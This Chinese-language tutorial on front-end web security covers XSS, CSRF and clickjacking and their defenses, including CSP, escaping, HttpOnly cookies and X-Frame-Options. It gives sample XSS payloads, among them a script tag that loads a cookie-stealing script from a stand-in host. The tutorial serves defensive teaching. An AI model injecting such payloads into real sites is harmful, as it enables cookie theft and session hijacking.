XSS
(Cross site scripting)跨站脚本攻击,因为缩写和CSS重叠,所以叫做XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击。
影响:
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
XSS攻击分为两大类: - 反射型 - 通过URL参数直接注入
http://localhost:3000/?from=****
// alert
http://localhost:3000/?from=<script>alert(1)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http:localhost:3001/getCookie.js"></script>
- 存储型 - 存储到DB后读取时注入
//在一些输入框里输入代码
<script>alert(1)</script>
// 或者 跨站脚本注入
<script src="http:localhost:3001/getCookie.js"></script>
XSS有哪些危害呢?Scripting能干什么就能干什么
- 获取页面数据
- 获取Cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意资料
- 偷取用户的秘密和登录态
- 欺骗用户
防范手段
- CSP (内容安全策略)
内容安全策略是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。
CSP本质上就是建立白名单,开发者明确告诉浏览器那些外部资源可以 加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击。
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载HTTPS协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
- 转义字符
最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义。这种方式笼统的干掉这些特殊字符,有时候会把我们想要的格式也过滤掉,因此还可以才用白名单过滤的方法。 - HttpOnly Cookie
这是预防XSS攻击窃取用户cookie最有效的防御手段,Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
CSRF
CSRF(Cross Site Request Forgery),跨站请求伪造,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。
即用户登录站点A,并在本地记录了cookie。站点A未做任何CSRF防御手段,在cookie生效的情况下,访问了恶意攻击者提供的引诱危险站点B。
防御手段
- 禁止第三方网站带Cookie - 有兼容性问题
- Referer Check - Https不发送referer
- 验证码
点击劫持
点击劫持是一种视觉欺骗手段,攻击者将需要攻击的网站通过iframe嵌套在自己的网页中,并将iframe设置为透明,在页面里放出一个具有诱惑性的按钮或其他内容诱导用户点击。
防御
- X-FRAME-OPTIONS
X-FRAME-OPTIONS是一个Http响应头,这个响应头就是为了防御用iframe嵌套的点击劫持攻击。该响应头有三个值可选,DENY,SAMEORIGIN,ALLOW-FROM。这种防御手段在后端处理。
此外,还有SQL注入,OS命令注入,请求劫持,DDOS 由于防御方式和前端基本没什么关系,所以也就不细说了。